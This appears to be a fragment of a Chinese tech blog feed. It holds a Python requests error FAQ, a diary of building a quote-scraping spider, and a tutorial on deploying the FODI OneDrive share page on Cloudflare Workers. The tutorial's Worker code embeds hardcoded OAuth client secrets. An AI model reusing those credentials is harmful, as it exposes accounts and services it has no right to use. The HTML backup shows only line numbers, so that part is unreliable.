conn = self._new_conn()
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connection.py", line 156, in _new_conn
conn = connection.create_connection(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\util\connection.py", line 74, in create_connection
sock.connect(sa)
KeyboardInterrupt

A: 请你检查在程序运行的过程中是否有键盘的操作,例如Ctrl+C之类的操作!


Q: requests.exceptions.SSLError
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\contrib\pyopenssl.py", line 453, in wrap_socket
cnx.do_handshake()
File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1915, in do_handshake
self._raise_ssl_error(self._ssl, result)
File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1639, in _raise_ssl_error
raise SysCallError(errno, errorcode.get(errno))
OpenSSL.SSL.SysCallError: (10060, 'WSAETIMEDOUT')

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 600, in urlopen
chunked=chunked)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 343, in _make_request
self._validate_conn(conn)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 839, in _validate_conn
conn.connect()
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connection.py", line 344, in connect
ssl_context=context)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\util\ssl_.py", line 344, in ssl_wrap_socket
return context.wrap_socket(sock, server_hostname=server_hostname)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\contrib\pyopenssl.py", line 459, in wrap_socket
raise ssl.SSLError('bad handshake: %r' % e)
ssl.SSLError: ("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')",)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\adapters.py", line 449, in send
timeout=timeout
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 638, in urlopen
_stacktrace=sys.exc_info()[2])
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\util\retry.py", line 398, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='p2.music.126.net', port=443): Max retries exceeded with url: /gxo54B2ypqq0Y6tmahBnIw==/109951163596240238.jpg (Caused by SSLError(SSLError("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')")))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "main.py", line 77, in <module>
image = r.get(data['images']).content
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\api.py", line 75, in get
return request('get', url, params=params, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\adapters.py", line 514, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='p2.music.126.net', port=443): Max retries exceeded with url: /gxo54B2ypqq0Y6tmahBnIw==/109951163596240238.jpg (Caused by SSLError(SSLError("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')")))

这种情况是握手失败导致的,请检查网络连接!


欢迎提交PR!

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Spider + + + +
+ + + + + Hitokoto-Spider 一言库爬虫开发日记 + + /posts/Hitokoto-Spider/ + +

最近在家里虽然有上课(学校开学了),但是中午两个半小时的休息时间以及晚上的自由时间是真的闲,在想要干什么……然后我在我的学弟的电脑桌面上发现了八爪鱼,想起了他用八爪鱼抓一言库的时候,我就在想:为什么我不自己做一个抓一言的爬虫呢?说干就干,于是我就开始坐了起来……

下面,是我的个人开发日记,包含回忆,有些细节可能记得不是很清楚

项目地址:https://github.com/GamerNoTitle/Hitokoto-Spider


2020年2月10日 星期一 天气:不很好

今天是学校开学第一天,钉钉的会议功能真的菜,视频延迟3秒钟,互动板延迟3分钟……而且这个会议可以回看不能下载???拿fiddler抓包去……

(12:00)开始做爬虫了,先到一言去看看API是怎么用的先。在官网,可以看到下面这个表格(为了方便,我直接把源码拿过来了)

时间 影响Api 调整
2018年6月之前 旧版API(http://api.hitokoto.cn和https://sslapi.hitokoto.cn) 旧版API将在6月份之前以切换解析的方式合并到v1API中。也就意味着调整之后请求此API无异于请求v1API。调整后此接口的稳定性将不再受到维护。
2018年7月之前 v1API(https://v1.hitokoto.cn) v1API将发布最终版本。v1接口将会在未来存在较长时间(即使v2发布,请放心使用)。
v2 发布(时间未知) v2API(域名未知) 上线v2API。

这个是一言的几个api的地址,我选择的就是用的https://v1.hitokoto.cn

拿到了api,我要看看访问出来的效果是怎么样的,于是我又访问了这个地址,获得了一大串文本

1
2
3
4
5
6
7
8
9
10
11
12
{
"id": 79,//一言的ID
"hitokoto": "所以,他们的祭典还没结束。",//一言内容
"type": "a",//类型,具体可在官网查阅,这里a是Anime即动漫
"from": "我的青春恋爱物语果然有问题",//一言出处
"from_who": null,//谁说的话
"creator": "阿布碳。",//提交此条目的用户
"creator_uid": 0,//用户的uid,可以不看
"reviewer": 0,
"uuid": "f6aa4116-5a0f-4ab0-807a-bf3838a5fd23",//用户的uuid,可以不看
"created_at": "1468605909"//何时创建,这里是以时间戳的方式展示
}

我看着:这玩意怎么格式这么像json呢???

直到我往下拉,发现:

这塔喵不就是json嘛……(上面的注释是我加入的)

搞清楚了返回出来的结果的组成后,我们就可以开始撸代码了!

打开VSCode,新建一个文件夹,在这个文件夹里面进行修改

首先确定我需要用什么来模拟http请求,因为我自己用过@Dawnnnnnn/bilibili-live-tools这个项目,而且在用这个项目的时候,特别是在学校的服务器上面挂,那个Windows Server 2016 DataCenter装个requests运行库都难,所以我特别记得requests这个库可以模拟http请求,先装上再说!

于是我在powershell内打了

1
$ pip install requests

来安装我的requests运行库,接着,在我的python文件内打入

1
import requests as r

因为本人比较懒,所以喜欢把运行库简写,加入了as r我就可以不用打那么多字母了,真的方便

接着,要先搞清楚requests库的用法,于是乎我又去查了一下,查到这几个函数

1
2
3
4
5
6
requests.get(‘https://github.com/timeline.json’)                 # GET请求
requests.post(“http://httpbin.org/post”) # POST请求
requests.put(“http://httpbin.org/put”) # PUT请求
requests.delete(“http://httpbin.org/delete”) # DELETE请求
requests.head(“http://httpbin.org/get”) # HEAD请求
requests.options(“http://httpbin.org/get” ) # OPTIONS请求

那么我要获得结果,采用了GET请求,然后在我的项目中打入了

1
res = r.get('https://international.v1.hitokoto.cn/')

这样就可以把获得的结果赋给res,然后通过调用res的值来获得我们想要的结果,接着运行一次我们的文件

1
2
3
import requests as r
res = r.get('https://v1.hitokoto.cn/')
print(res)

然后返回的值为:<Response [200]>

状态码输出这不是状态码嘛???我不要这玩意儿啊,我要结果。。。

然后我就commit了一下,盖上我的垃圾Lenovo,然后去睡觉了……


2020年2月11日 星期二 天气:还是不很好

今天继续开发,昨天拿到的结果是个状态码,然后我又有思路了!

我就在print中动一下手脚,给被打印的res加上一个参数,然后代码就变成了

1
2
3
import requests as r
res = r.get('https://v1.hitokoto.cn/')
print(res.text)

接着就给我输出了我想要的东西嘿嘿

json格式输出

这个项目本来想跟学弟@Soulxyz一起做的,然后我就先把这个雏形push到了仓库里面,他也fork了,然后回来给我的是一个叫做csvdomo.py(点击可下载)的文件(我寻思你是不是想打csvdemo???)

我打开了,然后发现:你这不是并发获取10次都是一个结果吗???你这不重新获取不是每次都一样的吗???

csvdomo输出

于是我决定放弃他这里,我自己来弄这个项目……后来他告诉我,用一言的国际节点可以有更高的QPS,然后我就转用国际节点了……

接着下一步是要重复抓取,对于这一部分,我想到的是让用户输入要抓取的次数,类型为int,命名为num,然后采用for循环重复抓取,就写了下面的这一段

1
2
3
4
print("请输入抓取的数量,如果要抓取全部请到https://hitokoto.cn/status查看现在的一言总数并填入:")
num=input()
for i in range(num):
res = r.get('https://v1.hitokoto.cn/')

这样子来实现重复抓取的功能,至于为什么如果要抓取全部还要输入,因为那个数字我是真的拿不到啊……

终于实现了抓取的功能,接下来要实现写入文件的功能

我的想法是写入csv文件,因为我自己在华南理工学习的时候就用过相关的函数,所以我就去搜索了一下,结果发现python原生支持csv,不需要用到pandas,所以我就调用了自带的csv库

(要上课了,先撤了)

(16:30)我回来了!现在就是要搞定写入csv库的问题,我在网上找到了相关的方法:

先打开一个文件,然后把这个文件设定为file变量,然后def两个函数,一个创建,一个写入,就像下面这个亚子:

1
2
3
4
5
6
7
8
9
10
11
12
import csv
def create_csv(path):
with open(path,"w+",newline="",encoding="utf8") as file:
# 打开文件,也相当于一个回车,避免覆盖文档
csv_file = csv.writer(file)
head = ["id","sort","hitokoto"] # 创建csv表头
csv_file.writerow(head)
def append_csv(path):
with open(path,"a+",newline='',encoding="utf8") as file:
csv_file = csv.writer(file)
data = [inputs]
csv_file.writerows(data)

这样我就定义了两个函数,然后在下面直接用这个函数就好了

再加上上面写过让用户填入输出路径和爬取次数的相关代码,直接把变量拿过来用就好了

1
2
3
4
print("请输入文件输出名(请自行输入后缀,文件以csv的方式保存):")
path=input() # 输出文件
print("请输入抓取的数量,如果要抓取全部请到https://hitokoto.cn/status查看现在的一言总数并填入:")
num=int(input()) # 抓取数量

将path用于文件的路径,将num用于下面的抓取次数,完美!

然后在下面,将抓取到的数据排版一下

1
2
3
4
5
6
7
8
9
10
11
data=res.json()
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)

这样就完成了写入操作!写入csv的操作搞定了以后,最后剩下除掉重复的结果,不然会有很多同样的话,这是最麻烦的部分……

开始我的想法是:每次获取到一个结果以后,将id存入存入一个存储变量叫做ids,开始先初始化

1
ids=[]

这样将ids初始化为一个空列表,然后往这个空列表里面加入id,每次遍历一次ids里面的id是否与获取到的id相同,如果相同则说明获取到了重复的话,将这个结果舍弃,然后重新获取

将我的重复剔除的功能写出来,就像这样(从之前的commit弄出来的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ids=['0']
i=1
for i in range(num):
res = r.get('https://international.v1.hitokoto.cn/',timeout=60) # 得到服务器回应,此时回应的内容为json文件(res.text)和状态码
data=res.json() # 将获取到的结果转为json字符串
t=1
for t in range(i):
if data["id"]==ids[t]:
# ID已经存在,即已经抓到过,这地方可能会报BUG,目前没修(数组越限BUG)
break
else:
t=t+1 # 自增
if t==i:
ids.append(data["id"])
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
temp=[data["id"],sorts,data["hitokoto"]]
print(res.text)
append_csv(path)

接着就会发现,运行着运行着,告诉我数组越限了?!!!

这个问题就真的很烦,因为C++是允许数组越限的,但是python不允许,会直接冷不丁给你报错,所以每次遇到这个问题我都不是很想去理它,但是不理它我的程序就运行不下去了啊!!!所以我先把检测重复这一段注释掉了,合上垃圾Lenovo,睡觉!


2020年2月12日 星期三 天气:下雨了啊!

今天早上上课上到11点20分,开始写代码,用一中午想把这个重复检测的功能写完……

想到昨天的数组越限就头疼,我打算放弃这个方法,不存列表了!

我记得当时在华工有用过像array[t]这样的东西,于是我想起了一个利器——array数组!

新的思路是这样的:将得到的数据存入数组名为temp,开始先初始化这个变量:

1
2
from array import array
temp = array['i',[0]]

至于我为什么在里面写一个0,是因为我发现我不这么做的话他会给我报错……

这样就初始化了一个名为temp类型为int的数组,里面含有一个元素0。然后在下面每次获取完id以后就将其存入temp变量

1
temp.append(data["id"])

通过这样,每次再遍历temp里面的东西,只要重复,就说明抓过,没重复就说明没抓过,就可以达到去掉重复的效果!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
for i in range(num):
time.sleep(delay)
print("正在获取新的一言……")
res = r.get('https://international.v1.hitokoto.cn/',timeout=60)
# 得到服务器回应,此时回应的内容为json文件(res.text)和状态码
data=res.json() # 将获取到的结果转为json字符串
temp_minus=temp.count-1
if temp_minus!=0:
t=1
print("正在检测是否抓取过结果……")
for t in range(temp.count):
if(int(data["id"])==temp[t]):
print("发现已经抓取到的结果,正在丢弃……")
i=i-1
break
elif(t==temp.count-1):
print("未抓取过的结果,正在存入文件……")
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)
temp.append(data["id"])
end_Pro=datetime.datetime.now()
print("已完成数量:"+str(i+1)+',已经用时:'+str(end_Pro-start_Pro))
break
else:
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)
temp.append(data["id"])
end_Pro=datetime.datetime.now()
print("已完成数量:"+str(i+1)+',已经用时:'+str(end_Pro-start_Pro))

最后写出来的效果是这样子的,然后问题又出来了,我的temp.count似乎不能被它正确识别出来,于是我打开了一个新的文档,测试一下这个玩意输出长什么样子:

Output3

emmmm,这是啥???

然后我又去求助万能的百度,网友们告诉我可以用len(temp)来获得数组的元素个数,然后我就把这玩意改了,终于可以运行了!!!接着问题又来了。。。

Output4

这是???这怎么不连续啊,这数字???我想到可能是抓到重复的时候算抓了,就导致了i+1(不过这次测试挺非的,这么多次一样。。。非到极致也是一种欧!)

后来我试试加一个i=i-1在相应位置,结果还是不行,我就想到可能是局部变量改不动???

我就自己定义一个变量,用while循环呗……然后我就改用while循环

这下终于可以了,抓到的结果没有抓到重复的(因为中途连接超时导致程序停止运行了,所以只抓了2159条,本来是想把整个一言库抓完的,点我下载2159条数据,请用UTF8解码后保存为gbk才能在Excel上查看哦

终于搞定啦!!!这个项目终于能够按照期望运行了!

接下来要解决的问题:

  • json配置文件支持
  • GUI支持

题外话:

这是我第一次做爬虫,把学到的python技术用出来。项目已经上传到https://github.com/GamerNoTitle/Hitokoto-Spider

有人愿意与我一起做项目我也非常开心,希望大家能够活用此项目,不要再用什么八爪鱼抓一言了,那种要VIP的软件对我们这种程序员来说一点也不友好,还不如自己来……


2020年2月16日 星期日 天气:还是下雨天……

今天晚上,我对爬虫进行了优化,之前我上面就说过要提供json配置文件的支持,今天的目标就是这个!走起!

首先,要新建一个json文件,里面包含的参数如下:

1
2
3
4
5
6
7
8
9
10
{
"path": "Hitokoto.csv",//文件输出路径
"times": 3,// 抓取次数
"delay": 0,// 抓取延迟,针对一言的QPS设置
"timeout": 60,// 连接超时时间(单位:秒)
"from": false,// 来自什么作品
"from_who": false,// 来自谁
"creator": false,// 哪位用户提交的
"created_at": false// 何时提交
}

其中,文件输出路径是str变量,抓取次数、抓取延迟、抓取超时都是int变量,from、from_who、creator、created_at都是bool型变量,这就表示它只支持true和false

搞定config文件的内容后,反过来对代码进行添加,定义一个读取json文件的函数,命名为read_config()

1
2
3
4
def read_config():
with open("config.json") as json_file:
config = js.load(json_file)
return config

这样,我使用conf = read_config()就可以获得文件中的所有内容,文件读出来的结果应该是这样的(如图)

json read

把程序再美化一下,运行后发现,出了BUG

from_who KeyError

KeyError???WTF???你不是能正常读入的呢嘛?这又是个什么鬼错误……

上网搜索说是读不到相关的东西,不在字典中,我就想在上面提前置顶from_who的值,但是一言返回的结果里面的东西我也修改不了啊……所以还是要解决KeyError的问题

上网一搜,全部都是用dict导致的问题。我寻思:我怎么也没有操作字典吧。。。

算了,先上传吧,明天再修复from_who的BUG……

我的友人表示想建立一个一言的镜像站,所以要求我把其他的参数给加上,我先加吧……

尴尬……又出现了KeyError的问题,这次是creator_uid和reviewer,算了明天弄吧……睡觉!

2020年2月17日 星期一 天气:晴天

今天早上起来,换了台电脑,还是有keyerror的错误,然后去问了一下大学导师,他告诉我是data里面没有这个key的项的问题,然后我又倒回去看发现,上面提到的三个数值有些结果是没有使用双引号括起来的,基本都写的null或者是0,这样就导致data里面没有这个key,进而导致keyerror

所以我是打算用try和except这两个东西进行解决。

在代码里稍作修改,加入try和except

1
2
3
if(conf["from_who"] == True): 
try: inputs.append(data["from_who"])
except KeyError: inputs.append("null")

在会报KeyError错误的地方都进行这样的修改,然后进行调试

KeyError Fixed

终于可以啦!!!推送代码,项目完成!

接下来就是要加入GUI支持了,但是我其实不是很会做GUI,所以说别抱太大希望,很有可能鸽掉……

白咕咕

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + + +
+ + + + + Onedrive分享型网盘搭建 - FODI + + /posts/FODI/ + +

本人有两个onedrive账号,一个自用,另外一个是前几天蹭的edu账号,之前一直想用onedrive来分享文件(毕竟容量是真的大),就在放寒假前,我发现了github的一个项目:FODI,虽说这UI不是很好看,但是不用服务器(嗯,让白嫖党有点快乐了),所以就动起了手……

官方教程:https://logi.im/front-end/scf-fodi.html

当我正在按照官方教程搭建的时候,在获取refresh_token这一步,它居然给我报错了???

官方教程中,是要求进入此网址进行登录后,把第一个?删掉,把第一个&改成?,然后就给我弹出以下错误:

1
2
3
4
5
6
7
8
9
10
11
Message
{
"error": "invalid_grant",
"error_description": "AADSTS54005: OAuth2 Authorization code was already redeemed, please retry with a new valid code or use an existing refresh token.\r\nTrace ID: b0425d60-48d1-4006-aec5-76d97732cd00\r\nCorrelation ID: 0d390346-7cfa-4284-9518-67444dca1511\r\nTimestamp: 2020-02-09 02:08:21Z",
"error_codes": [
54005
],
"timestamp": "2020-02-09 02:08:21Z",
"trace_id": "b0425d60-48d1-4006-aec5-76d97732cd00",
"correlation_id": "0d390346-7cfa-4284-9518-67444dca1511"
}

我的内心是崩溃的……好了不干了!

咕咕咕


回归正题,干还是要干的,要么握着5T的onedrive没意思是吧……

然后我在Github又发现了一个新的项目——OneManager

嘤嘤嘤

打算部署这个玩意,这时候就有人问了:诶不是,你这标题不是写的FODI?怎么变成OneManager了?

别急,这玩意自然有它利用的价值

Deploy点击这个紫色的按钮,就会进入heroku的部署界面(啥?你说你不会用?那没事了),将此项目部署后进行安装,会要求输入heroku的api和管理员密码,这些就按要求填写就好了

接着就到了比较重要的一步:获取refresh_token(没错你知道我要干嘛了)

版本选择

第一步安装的时候选择MS(中国版选择CN,如果你喜欢搞事情,你也可以选择MSC自己申请api,我就是懒,就不自己申请api了)

然后登陆自己的微软账户,接着就会弹出自己的refresh_token,这不就搞定了refresh_token啦?!

refresh_token获取

如果你没有及时复制你自己的refresh_token,你也可以到你自己heroku项目的变量下复制

refresh_token in Heroku

接着我们返回FODI,将自己的refresh_token贴近官方给的模板的对应位置,接着将代码复制到cloudflare的workers里面(你又问我workers是什么?看这里啦!),然后保存即可!

cloudflare editor

官方模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
/**
* IS_CN: 如果为世纪互联版本,请将 0 改为 1
* EXPOSE_PATH:暴露路径,如全盘展示请留空,否则按 '/媒体/音乐' 的格式填写
* ONEDRIVE_REFRESHTOKEN: refresh_token
*/
const IS_CN = 0;
const EXPOSE_PATH = ""
const ONEDRIVE_REFRESHTOKEN = ""


async function handleRequest(request) {
let requestPath
let querySplited
let queryString = request.url.split('?')[1]
if (queryString) {
querySplited = queryString.split('=')
}
if (querySplited && querySplited[0] === 'file') {
const file = querySplited[1]
const fileName = file.split('/').pop();
requestPath = file.replace('/' + fileName, '')
const url = await fetchFiles(requestPath, fileName)
return Response.redirect(url, 302)
} else {
const { headers } = request
const contentType = headers.get('content-type')
let body={}
if (contentType && contentType.includes('form')) {
const formData = await request.formData()
for (let entry of formData.entries()) {
body[entry[0]] = entry[1]
}
}
requestPath = body ? body['?path'] : '';
const files = await fetchFiles(requestPath, null, body.passwd);
return new Response(files, {
headers: {
'content-type': 'application/json; charset=utf-8',
'Access-Control-Allow-Origin': '*'
}
})
}
}

addEventListener('fetch', event => {
return event.respondWith(handleRequest(event.request))
})


const clientId = [
'4da3e7f2-bf6d-467c-aaf0-578078f0bf7c',
'04c3ca0b-8d07-4773-85ad-98b037d25631'

]
const clientSecret = [
'7/+ykq2xkfx:.DWjacuIRojIaaWL0QI6',
'h8@B7kFVOmj0+8HKBWeNTgl@pU/z4yLB'
]

const oauthHost = [
'https://login.microsoftonline.com',
'https://login.partner.microsoftonline.cn'
]

const apiHost = [
'https://graph.microsoft.com',
'https://microsoftgraph.chinacloudapi.cn'
]

const OAUTH = {
'redirectUri': 'https://scfonedrive.github.io',
'refreshToken': ONEDRIVE_REFRESHTOKEN,
'clientId': clientId[IS_CN],
'clientSecret': clientSecret[IS_CN],
'oauthUrl': oauthHost[IS_CN] + '/common/oauth2/v2.0/',
'apiUrl': apiHost[IS_CN] + '/v1.0/me/drive/root',
'scope': apiHost[IS_CN] + '/Files.ReadWrite.All offline_access'
}

async function gatherResponse(response) {
const { headers } = response
const contentType = headers.get('content-type')
if (contentType.includes('application/json')) {
return await response.json()
} else if (contentType.includes('application/text')) {
return await response.text()
} else if (contentType.includes('text/html')) {
return await response.text()
} else {
return await response.text()
}
}

async function getContent(url) {
const response = await fetch(url)
const result = await gatherResponse(response)
return result
}

async function getContentWithHeaders(url, headers) {
const response = await fetch(url, { headers: headers })
const result = await gatherResponse(response)
return result
}

async function fetchFormData(url, data) {
const formdata = new FormData();
for (const key in data) {
if (data.hasOwnProperty(key)) {
formdata.append(key, data[key])
}
}
const requestOptions = {
method: 'POST',
body: formdata
};
const response = await fetch(url, requestOptions)
const result = await gatherResponse(response)
return result
}

async function fetchAccessToken() {
url = OAUTH['oauthUrl'] + 'token'
data = {
'client_id': OAUTH['clientId'],
'client_secret': OAUTH['clientSecret'],
'grant_type': 'refresh_token',
'requested_token_use': 'on_behalf_of',
'refresh_token': OAUTH['refreshToken']
}
const result = await fetchFormData(url, data)
return result.access_token
}

async function fetchFiles(path, fileName, passwd) {
if (!path || path === '/') {
if (EXPOSE_PATH === '') {
path = ''
} else {
path = ':' + EXPOSE_PATH
}
} else {
if (EXPOSE_PATH === '') {
path = ':' + path
} else {
path = ':' + EXPOSE_PATH + path
}
}

const accessToken = await fetchAccessToken()
const uri = OAUTH.apiUrl + encodeURI(path) + '?expand=children(select=name,size,parentReference,lastModifiedDateTime,@microsoft.graph.downloadUrl)'

const body = await getContentWithHeaders(uri, {
Authorization: 'Bearer ' + accessToken
})
if (fileName) {
let thisFile = null
body.children.forEach(file => {
if (file.name === decodeURIComponent(fileName)) {
thisFile = file['@microsoft.graph.downloadUrl']
return
}
})
return thisFile
} else {
let files = []
let encrypted = false
for (let i = 0; i < body.children.length; i++) {
const file = body.children[i]
if (file.name === '.password') {
const PASSWD = await getContent(file['@microsoft.graph.downloadUrl'])
if (PASSWD !== passwd) {
encrypted = true;
break
} else {
continue
}
}
files.push({
name: file.name,
size: file.size,
time: file.lastModifiedDateTime,
url: file['@microsoft.graph.downloadUrl']
})
}
let parent
if (body.children.length) {
parent = body.children[0].parentReference.path
} else {
parent = body.parentReference.path
}
parent = parent.split(':').pop().replace(EXPOSE_PATH, '') || '/'
parent = decodeURIComponent(parent)
if (encrypted) {
return JSON.stringify({ parent: parent, files: [], encrypted: true })
} else {
return JSON.stringify({ parent: parent, files: files })
}
}
}

接着,我们打开官方给的html文件,将自己的workers链接贴到对应的位置,部署到github即可!

html文件备份:(可以直接复制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
